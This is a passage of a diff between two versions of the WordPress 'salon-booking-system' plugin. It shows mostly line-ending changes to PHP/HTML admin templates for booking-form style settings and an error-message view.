?> >\r\n-                        \u003Clabel for=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\">\u003C?php echo esc_attr($label) ?>\u003C\u002Flabel>\r\n-                        \u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"sln-box-maininfo\">\r\n-                            \u003Cp class=\"sln-box-info\">\u003C?php echo esc_attr($enum->getDescription($key)) ?>\u003C\u002Fp>\r\n-                        \u003C\u002Fdiv>\r\n-                       \r\n-                        \u003Clabel class=\"sln-radiobox__wrapper__labelfull\" for=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\">\u003C\u002Flabel>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C?php endforeach?>\r\n-\r\n-            \u003Cdiv class=\"clearfix\">\u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv id=\"sln-custom_colors\" class=\"sln-box sln-box--main sln-box--haspanel\">\r\n-                \u003Ch2 class=\"sln-box-title sln-box__paneltitle\">\r\n-                    \u003C?php esc_html_e('Custom colors', 'salon-booking-system');?>\r\n-                    \u003Cspan>\u003C?php esc_html_e('Choose the one that best fits your page', 'salon-booking-system');?>\u003C\u002Fspan>\r\n-                \u003C\u002Fh2>\r\n-\u003Cdiv class=\"collapse sln-box__panelcollapse\">\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12 col-sm-6\">\r\n-                \u003Cdiv class=\"sln-switch\">\r\n-                \u003C?php $this->row_input_checkbox_switch(\r\n-\t'style_colors_enabled',\r\n-\t'Custom colors',\r\n-\tarray(\r\n-\t\t'bigLabelOn' => __('Custom colors are enabled', 'salon-booking-system'),\r\n-\t\t'bigLabelOff' => __('Custom colors are disabled', 'salon-booking-system'),\r\n-\t)\r\n-);?>\r\n-    \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"sln-box-maininfo\">\r\n-                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Customize colors of the salon shortcode.', 'salon-booking-system');?>\u003C\u002Fp>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12 col-lg-8 sln-colors-sample\">\r\n-                \u003Cdiv class=\"wrapper\">\r\n-                    \u003Ch1 class=\"sln-box-title\">\u003C?php esc_html_e('Sample page\u002Fstep title', 'salon-booking-system')?>\u003C\u002Fh1>\r\n-                    \u003Clabel>\u003C?php esc_html_e('Sample label', 'salon-booking-system')?>\u003C\u002Flabel>\u003Cbr>\r\n-                    \u003Cinput type=\"text\" value=\"\u003C?php esc_html_e('Sample input', 'salon-booking-system')?>\" \u002F>\u003Cbr>\r\n-                    \u003Cbutton value=\"Sample button\">\u003C?php esc_html_e('Sample button', 'salon-booking-system')?> \u003Ci class=\"glyphicon glyphicon-chevron-right\">\u003C\u002Fi>\u003C\u002Fbutton>\r\n-                    \u003Cp>\r\n-                        Sample text. Pellentesque viverra dictum lectus eu fringilla. Nam metus sapien, pharetra id nunc sit amet, feugiat auctor ipsum.\r\n-                    \u003C\u002Fp>\r\n-                    \u003Cp>\r\n-                        Sample text. Pellentesque viverra dictum lectus eu fringilla. Nam metus sapien, pharetra id nunc sit amet, feugiat auctor ipsum.\r\n-                    \u003C\u002Fp>\r\n-                    \u003Csmall class=\"sln-input-help\">Morbi non erat elementum neque lacinia finibus. Sed rutrum viverra tortor. Sed laoreet, quam vestibulum molestie laoreet, dui justo egestas.\u003C\u002Fsmall>\r\n-\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-12 col-lg-4\">  \r\n-            \u003C?php\r\n-            \u002F* CUSTOM COLORS \u002F DISPLAY ALL NUANCES *\u002F\r\n-            $current_user = wp_get_current_user();\r\n-            if ($current_user->user_email == \"me@nicovece.com\") {\r\n-                $colors = $this->settings->get('style_colors');\r\n-                if ($colors) {\r\n-                    foreach ($colors as $k => $v) {\r\n-                        echo '\u003Cdiv style=\"background-color:' . esc_attr($v) . ';\">' . esc_attr($k) . ' - ' . esc_attr($v) . '\u003Cbr>\u003C\u002Fdiv>';\r\n-                    }\r\n-                }\r\n-            }\r\n-            ?>\r\n-            \u003Cdiv class=\"row\">\r\n-                    \u003Cdiv id=\"color-background\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\r\n-                        \u003Clabel>\u003C?php esc_html_e('Background color', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\r\n-                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\r\n-                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['background-a']) ? esc_attr($colors['background-a']) : 'rgba(255, 255, 255, 1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\r\n-                        \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv id=\"color-main\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\r\n-                        \u003Clabel for=\"salon_settings_gen_name\">\u003C?php esc_html_e('Main color', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\r\n-                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\r\n-                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['main-a']) ? esc_attr($colors['main-a']) : 'rgba(2,119,189,1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\r\n-                        \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv id=\"color-text\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\r\n-                        \u003Clabel for=\"salon_settings_gen_name\">\u003C?php esc_html_e('Text color', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\r\n-                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\r\n-                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['text-a']) ? esc_attr($colors['text-a']) : 'rgba(68,68,68,1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\r\n-                        \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv class=\"col-xs-12 col-sm-6  col-lg-12 form-group sln-box-maininfo\">\r\n-                        \u003C?php foreach (array('background-a', 'background-b', 'background-c', 'background-d', 'main-a', 'main-b', 'main-c', 'main-d', 'text-a', 'text-b', 'text-c', 'text-d', 'text-e') as $k): ?>\r\n-                            \u003Cinput class=\"hidden\" name=\"salon_settings[style_colors][\u003C?php echo esc_attr($k) ?>]\" id=\"color-\u003C?php echo esc_attr($k) ?>\" type=\"text\" value=\"\u003C?php echo isset($colors[$k]) ? esc_attr($colors[$k]) : '' ?>\">\r\n-                        \u003C?php endforeach?>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"row\">\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\r\n-    \u003Cdiv id=\"sln-ajax_steps\" class=\"sln-box sln-box--main sln-box--main--small\">\r\n-    \u003Ch2 class=\"sln-box-title\">\r\n-        \u003C?php\r\n-        \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\r\n-        _e('Ajax steps \u003Cspan>This allows loading steps via ajax\u003C\u002Fspan>', 'salon-booking-system')?>\r\n-    \u003C\u002Fh2>\r\n-    \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12\">\r\n-                \u003Cdiv class=\"sln-checkbox\">\r\n-            \u003C?php $this->row_input_checkbox('ajax_enabled', __('Enable ajax steps', 'salon-booking-system'));?>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"sln-box-maininfo\">\r\n-                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('This allows loading steps via ajax for a more smooth booking form transition.', 'salon-booking-system')?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-8\">\r\n-    \u003Cdiv id=\"sln-disable_bootstrap_assets\" class=\"sln-box sln-box--main sln-box--main--small\">\r\n-    \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Disable bootstrap assets', 'salon-booking-system')?>\u003C\u002Fh2>\r\n-    \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12 col-md-6\">\r\n-                \u003Cdiv class=\"sln-checkbox\">\r\n-                \u003C?php $this->row_input_checkbox('no_bootstrap', __('CSS on front-end', 'salon-booking-system'));?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"sln-box-maininfo\">\r\n-                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Use it in case of conflicts with your theme', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-12 col-md-6\">\r\n-                \u003Cdiv class=\"sln-checkbox\">\r\n-                \u003C?php $this->row_input_checkbox('no_bootstrap_js', __('JS on front-end', 'salon-booking-system'));?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"sln-box-maininfo\">\r\n-                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Use it in case of conflicts with your theme', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cdiv class=\"row\">\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\r\n-        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\r\n-            \u003Cdiv class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12\">\r\n-                    \u003Cdiv class=\"sln-checkbox\">\r\n-                        \u003C?php $this->row_input_checkbox('replace_booking_modal_with_popup', __('Replace booking modal window with a pop-up', 'salon-booking-system'));?>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv class=\"sln-box-maininfo\">\r\n-                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('This allows replace booking modal window with a pop-up.', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\r\n-        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\r\n-            \u003Cdiv class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12\">\r\n-                    \u003Cdiv class=\"sln-checkbox\">\r\n-                        \u003C?php $this->row_input_checkbox('disable_google_fonts', __('Disable Google fonts', 'salon-booking-system'));?>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv class=\"sln-box-maininfo\">\r\n-                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Disable all Google fonts according to the standard GDPR.', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\r\n-        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\r\n-            \u003Cdiv class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12\">\r\n-                    \u003Cdiv class=\"sln-checkbox\">\r\n-                        \u003C?php $this->row_input_checkbox('hide_service_duration', __('Hide service duration', 'salon-booking-system'));?>\r\n-                    \u003C\u002Fdiv>\r\n-                    \u003Cdiv class=\"sln-box-maininfo\">\r\n-                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('When enabled, service duration will be hidden on booking form and email notification', 'salon-booking-system')?>\u003C\u002Fp>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\r\n-\r\n+\u003C?php\n+\u002F**\n+ * @var $this SLN_Plugin\n+ *\u002F\n+$enum = new SLN_Enum_ShortcodeStyle();\n+$curr = $this->settings->getStyleShortcode();\n+$colors = $this->settings->get('style_colors') ? $this->settings->get('style_colors') : array();\n+include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\n+sum(\n+\t\u002F\u002F link anchor, link text\n+\tarray('#sln-booking_form_layout', __('Select booking form layout', 'salon-booking-system')),\n+\tarray('#sln-custom_colors', __('Custom colors', 'salon-booking-system')),\n+\tarray('#sln-ajax_steps', __('Ajax steps', 'salon-booking-system')),\n+\tarray('#sln-disable_bootstrap_assets', __('Bootstrap assets', 'salon-booking-system'))\n+);\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+?>\n+    \u003Cdiv id=\"sln-booking_form_layout\" class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open\">\n+        \u003Ch2 class=\"sln-box-title sln-box__paneltitle sln-box__paneltitle--open\">\n+            \u003C?php esc_html_e('Select your favorite booking form layout', 'salon-booking-system');?>\n+            \u003Cspan>\u003C?php esc_html_e('Choose the one that best fits your page', 'salon-booking-system');?>\u003C\u002Fspan>\n+        \u003C\u002Fh2>\n+        \u003Cdiv class=\"collapse in sln-box__panelcollapse\">\n+        \u003Cdiv class=\"row\">\n+            \u003C?php foreach ($enum->toArray() as $key => $label):\n+?>\n+                \u003Cdiv class=\"col-sm-4\">\n+                    \u003Cdiv class=\"sln-radiobox__wrapper--bd\">\n+                        \u003Cdiv class=\"sln-radiobox sln-radiobox--fullwidth\">\n+                        \u003Cinput type=\"radio\" name=\"salon_settings[style_shortcode]\"\n+                               value=\"\u003C?php echo esc_attr($key) ?>\"\n+                               id=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\"\n+                            \u003C?php echo ($curr == $key) ? 'checked=\"checked\"' : '' ?> >\n+                        \u003Clabel for=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\">\u003C?php echo esc_attr($label) ?>\u003C\u002Flabel>\n+                        \u003C\u002Fdiv>\n+                        \u003Cdiv class=\"sln-box-maininfo\">\n+                            \u003Cp class=\"sln-box-info\">\u003C?php echo esc_attr($enum->getDescription($key)) ?>\u003C\u002Fp>\n+                        \u003C\u002Fdiv>\n+                       \n+                        \u003Clabel class=\"sln-radiobox__wrapper__labelfull\" for=\"style_shortcode_\u003C?php echo esc_attr($key) ?>\">\u003C\u002Flabel>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C?php endforeach?>\n+\n+            \u003Cdiv class=\"clearfix\">\u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv id=\"sln-custom_colors\" class=\"sln-box sln-box--main sln-box--haspanel\">\n+                \u003Ch2 class=\"sln-box-title sln-box__paneltitle\">\n+                    \u003C?php esc_html_e('Custom colors', 'salon-booking-system');?>\n+                    \u003Cspan>\u003C?php esc_html_e('Choose the one that best fits your page', 'salon-booking-system');?>\u003C\u002Fspan>\n+                \u003C\u002Fh2>\n+\u003Cdiv class=\"collapse sln-box__panelcollapse\">\n+        \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12 col-sm-6\">\n+                \u003Cdiv class=\"sln-switch\">\n+                \u003C?php $this->row_input_checkbox_switch(\n+\t'style_colors_enabled',\n+\t'Custom colors',\n+\tarray(\n+\t\t'bigLabelOn' => __('Custom colors are enabled', 'salon-booking-system'),\n+\t\t'bigLabelOff' => __('Custom colors are disabled', 'salon-booking-system'),\n+\t)\n+);?>\n+    \u003C\u002Fdiv>\n+                \u003Cdiv class=\"sln-box-maininfo\">\n+                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Customize colors of the salon shortcode.', 'salon-booking-system');?>\u003C\u002Fp>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12 col-lg-8 sln-colors-sample\">\n+                \u003Cdiv class=\"wrapper\">\n+                    \u003Ch1 class=\"sln-box-title\">\u003C?php esc_html_e('Sample page\u002Fstep title', 'salon-booking-system')?>\u003C\u002Fh1>\n+                    \u003Clabel>\u003C?php esc_html_e('Sample label', 'salon-booking-system')?>\u003C\u002Flabel>\u003Cbr>\n+                    \u003Cinput type=\"text\" value=\"\u003C?php esc_html_e('Sample input', 'salon-booking-system')?>\" \u002F>\u003Cbr>\n+                    \u003Cbutton value=\"Sample button\">\u003C?php esc_html_e('Sample button', 'salon-booking-system')?> \u003Ci class=\"glyphicon glyphicon-chevron-right\">\u003C\u002Fi>\u003C\u002Fbutton>\n+                    \u003Cp>\n+                        Sample text. Pellentesque viverra dictum lectus eu fringilla. Nam metus sapien, pharetra id nunc sit amet, feugiat auctor ipsum.\n+                    \u003C\u002Fp>\n+                    \u003Cp>\n+                        Sample text. Pellentesque viverra dictum lectus eu fringilla. Nam metus sapien, pharetra id nunc sit amet, feugiat auctor ipsum.\n+                    \u003C\u002Fp>\n+                    \u003Csmall class=\"sln-input-help\">Morbi non erat elementum neque lacinia finibus. Sed rutrum viverra tortor. Sed laoreet, quam vestibulum molestie laoreet, dui justo egestas.\u003C\u002Fsmall>\n+\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-12 col-lg-4\">  \n+            \u003C?php\n+            \u002F* CUSTOM COLORS \u002F DISPLAY ALL NUANCES *\u002F\n+            $current_user = wp_get_current_user();\n+            if ($current_user->user_email == \"me@nicovece.com\") {\n+                $colors = $this->settings->get('style_colors');\n+                if ($colors) {\n+                    foreach ($colors as $k => $v) {\n+                        echo '\u003Cdiv style=\"background-color:' . esc_attr($v) . ';\">' . esc_attr($k) . ' - ' . esc_attr($v) . '\u003Cbr>\u003C\u002Fdiv>';\n+                    }\n+                }\n+            }\n+            ?>\n+            \u003Cdiv class=\"row\">\n+                    \u003Cdiv id=\"color-background\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\n+                        \u003Clabel>\u003C?php esc_html_e('Background color', 'salon-booking-system');?>\u003C\u002Flabel>\n+                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\n+                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\n+                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['background-a']) ? esc_attr($colors['background-a']) : 'rgba(255, 255, 255, 1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv id=\"color-main\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\n+                        \u003Clabel for=\"salon_settings_gen_name\">\u003C?php esc_html_e('Main color', 'salon-booking-system');?>\u003C\u002Flabel>\n+                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\n+                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\n+                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['main-a']) ? esc_attr($colors['main-a']) : 'rgba(2,119,189,1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv id=\"color-text\" class=\"col-xs-12 col-sm-4  col-lg-12 sln-input--simple sln-colorpicker\">\n+                        \u003Clabel for=\"salon_settings_gen_name\">\u003C?php esc_html_e('Text color', 'salon-booking-system');?>\u003C\u002Flabel>\n+                        \u003Cdiv class=\"sln-colorpicker--subwrapper\">\n+                            \u003Cspan id=\"thisone\" class=\"input-group-addon sln-colorpicker-addon\">\u003Ci>color sample\u003C\u002Fi>\u003C\u002Fspan>\n+                            \u003Cinput type=\"text\" value=\"\u003C?php echo isset($colors['text-a']) ? esc_attr($colors['text-a']) : 'rgba(68,68,68,1)' ?>\" class=\"sln-input sln-input--text  sln-colorpicker--trigger\" \u002F>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv class=\"col-xs-12 col-sm-6  col-lg-12 form-group sln-box-maininfo\">\n+                        \u003C?php foreach (array('background-a', 'background-b', 'background-c', 'background-d', 'main-a', 'main-b', 'main-c', 'main-d', 'text-a', 'text-b', 'text-c', 'text-d', 'text-e') as $k): ?>\n+                            \u003Cinput class=\"hidden\" name=\"salon_settings[style_colors][\u003C?php echo esc_attr($k) ?>]\" id=\"color-\u003C?php echo esc_attr($k) ?>\" type=\"text\" value=\"\u003C?php echo isset($colors[$k]) ? esc_attr($colors[$k]) : '' ?>\">\n+                        \u003C?php endforeach?>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+    \u003Cdiv class=\"row\">\n+    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\n+    \u003Cdiv id=\"sln-ajax_steps\" class=\"sln-box sln-box--main sln-box--main--small\">\n+    \u003Ch2 class=\"sln-box-title\">\n+        \u003C?php\n+        \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+        _e('Ajax steps \u003Cspan>This allows loading steps via ajax\u003C\u002Fspan>', 'salon-booking-system')?>\n+    \u003C\u002Fh2>\n+    \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12\">\n+                \u003Cdiv class=\"sln-checkbox\">\n+            \u003C?php $this->row_input_checkbox('ajax_enabled', __('Enable ajax steps', 'salon-booking-system'));?>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"sln-box-maininfo\">\n+                \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('This allows loading steps via ajax for a more smooth booking form transition.', 'salon-booking-system')?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-8\">\n+    \u003Cdiv id=\"sln-disable_bootstrap_assets\" class=\"sln-box sln-box--main sln-box--main--small\">\n+    \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Disable bootstrap assets', 'salon-booking-system')?>\u003C\u002Fh2>\n+    \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12 col-md-6\">\n+                \u003Cdiv class=\"sln-checkbox\">\n+                \u003C?php $this->row_input_checkbox('no_bootstrap', __('CSS on front-end', 'salon-booking-system'));?>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"sln-box-maininfo\">\n+                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Use it in case of conflicts with your theme', 'salon-booking-system')?>\u003C\u002Fp>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-12 col-md-6\">\n+                \u003Cdiv class=\"sln-checkbox\">\n+                \u003C?php $this->row_input_checkbox('no_bootstrap_js', __('JS on front-end', 'salon-booking-system'));?>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"sln-box-maininfo\">\n+                    \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Use it in case of conflicts with your theme', 'salon-booking-system')?>\u003C\u002Fp>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cdiv class=\"row\">\n+    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\n+        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\n+            \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12\">\n+                    \u003Cdiv class=\"sln-checkbox\">\n+                        \u003C?php $this->row_input_checkbox('replace_booking_modal_with_popup', __('Replace booking modal window with a pop-up', 'salon-booking-system'));?>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv class=\"sln-box-maininfo\">\n+                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('This allows replace booking modal window with a pop-up.', 'salon-booking-system')?>\u003C\u002Fp>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\n+        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\n+            \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12\">\n+                    \u003Cdiv class=\"sln-checkbox\">\n+                        \u003C?php $this->row_input_checkbox('disable_google_fonts', __('Disable Google fonts', 'salon-booking-system'));?>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv class=\"sln-box-maininfo\">\n+                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('Disable all Google fonts according to the standard GDPR.', 'salon-booking-system')?>\u003C\u002Fp>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-sm-8 col-md-4\">\n+        \u003Cdiv id=\"sln-booking-modal\" class=\"sln-box sln-box--main\">\n+            \u003Cdiv class=\"row\">\n+                \u003Cdiv class=\"col-xs-12\">\n+                    \u003Cdiv class=\"sln-checkbox\">\n+                        \u003C?php $this->row_input_checkbox('hide_service_duration', __('Hide service duration', 'salon-booking-system'));?>\n+                    \u003C\u002Fdiv>\n+                    \u003Cdiv class=\"sln-box-maininfo\">\n+                        \u003Cp class=\"sln-box-info\">\u003C?php esc_html_e('When enabled, service duration will be hidden on booking form and email notification', 'salon-booking-system')?>\u003C\u002Fp>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_additional_errors.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_additional_errors.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_additional_errors.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_additional_errors.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,9 +1,9 @@\n-\u003C?php if ($additional_errors): ?>\r\n-\u003Cdiv class=\"row sln-box--main--flattop\">\r\n-    \u003Cdiv class=\"col-xs-12\">\r\n-        \u003C?php foreach ($additional_errors as $error): ?>\r\n-            \u003Cdiv class=\"sln-alert sln-alert--general sln-alert--problem\">\u003C?php echo esc_html($error); ?>\u003C\u002Fdiv>\r\n-        \u003C?php endforeach ?>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n+\u003C?php if ($additional_errors): ?>\n+\u003Cdiv class=\"row sln-box--main--flattop\">\n+    \u003Cdiv class=\"col-xs-12\">\n+        \u003C?php foreach ($additional_errors as $error): ?>\n+            \u003Cdiv class=\"sln-alert sln-alert--general sln-alert--problem\">\u003C?php echo esc_html($error); ?>\u003C\u002Fdiv>\n+        \u003C?php endforeach ?>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n \u003C?php endif ?>\n\\ No newline at end of file\ndiff -ru 